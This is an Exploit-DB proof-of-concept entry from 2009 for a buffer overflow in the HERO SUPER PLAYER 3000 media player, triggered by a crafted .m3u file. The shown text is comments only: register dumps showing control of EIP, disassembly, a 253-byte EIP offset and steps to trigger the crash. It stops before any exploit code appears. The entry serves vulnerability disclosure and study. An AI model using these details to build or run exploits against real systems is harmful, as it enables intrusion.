Exploit-DB #9677
Description: HERO SUPER PLAYER 3000 - '.m3u' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-09-15
Author: fl0 fl0w

Exploit:
/******************************************************
   HERO SUPER PLAYER 3000 .M3U File Buffer Overflow POC *
   by fl0 fl0w                                          *
   ******************************************************
*/

  /********************************************************
   SOFTWARE INFORMATION                                   *  
   The software video player supports almost all formats  *
   and disks, you don't need any other software player to *
   play various video files. It can make obscure video    *
   has high definition and completely eliminate alias,    *
   also supports video desktop, resume playback and       *
   intellectual bookmark. It also provides audio formats  * 
   conversion between AC3, MP3, and WAV, including CD     *
   ripping and video conversion between MPEG4 and AVI.    *
   ********************************************************
  */
  
  /***************************************
  DEBUGGING INFORMATION                  *                                               
  EAX 00000000                           *                                                  
  ECX 00000000                           *                                                  
  EDX 7C90E514 ntdll.KiFastSystemCallRet *                                                  
  EBX 000004ED                           *                                                  
  ESP 0012ED48                           *                                                  
  EBP 000004ED                           *                                                  
  ESI 00000001                           *                                                  
  EDI 7E42F3C2 USER32.SendMessageA       *                                                  
  EIP 00414141 Mmxado.00414141           *                                                  
  ****************************************
  */                                                                                       
  
  /***************************************************************************************
   ASSEMBLY                                                                              * 
   00414141   FF7C             ???                                      ; Unknown command*
   00414143   43               INC EBX                                                   * 
   00414144   83C9 FF          OR ECX,FFFFFFFF                                           *
   00414147   EB 46            JMP SHORT Mmxado.0041418F                                 *
   00414149   3D 21030000      CMP EAX,321                                               *
                                                                                         * 
   As you cand see the assembler has no clue what just happend ???                       *
   ahhahahha ,just kidding                                                               *
   We own EIP register , just that the assembler copyes 1 NULL byte.                     * 
   The function Mmxado() causes the bug.                                                 *
   This is info from Windows DEP                                                         * 
   AppName: mmxado.exe	 AppVer: 1.0.0.1	 ModName: mmxado.exe                     *  
   ModVer: 1.0.0.1	 Offset: 00014141                                                *
   After more tests here is the assembly ,here we identify the origins of the bug        *
                                                                                         *   
   0012EB0A   0000             ADD BYTE PTR DS:[EAX],AL                                  *    
   0012EB0C   3B00             CMP EAX,DWORD PTR DS:[EAX]                                *     
   012EB0E   0000             ADD BYTE PTR DS:[EAX],AL                                   *      
   0012EB10   2300             AND EAX,DWORD PTR DS:[EAX]                                *
   It adds to EAX a value that it cannot handle.                                         * 
   Then compares the new value with the old one                                          *
   and it rezults in setting the Z FLAG with 0 as a rezult of false                      *
   Snip                                                                                  * 
   Z 0 DS 0023 32bit 0(FFFFFFFF)                                                         *
   Snip                                                                                  * 
   The EIP OFFSET is 253 bytes(0xFD).                                                    *
   ***************************************************************************************       
  */
  
  /*************************************************************************************
   TECHNICALL INFORMATION                                                              *          
   Download the software from :                                                        *
   http://www.download.com/Hero-Super-Player-3000/3000-2139_4-10401910.html?tag=lst-3  *
   Note :After you open the TestFile click on DelUnselect,that's                       *
   when the buffer overflow occurs.                                                    *
   This POC has been tested on MS Windows Xp Sp3 English.                              *
   This POC has been compiled with DEv-C++ 4.9.9.2                                     *
   *************************************************************************************
  */    
  
  /*******************************************************************************
  DEMO                                                                           * 
  C:\Documents and Settings\Stefan\Desktop>hero.exe                              *
                                                                                 * 
  This POC was written for educational purpose.                                  *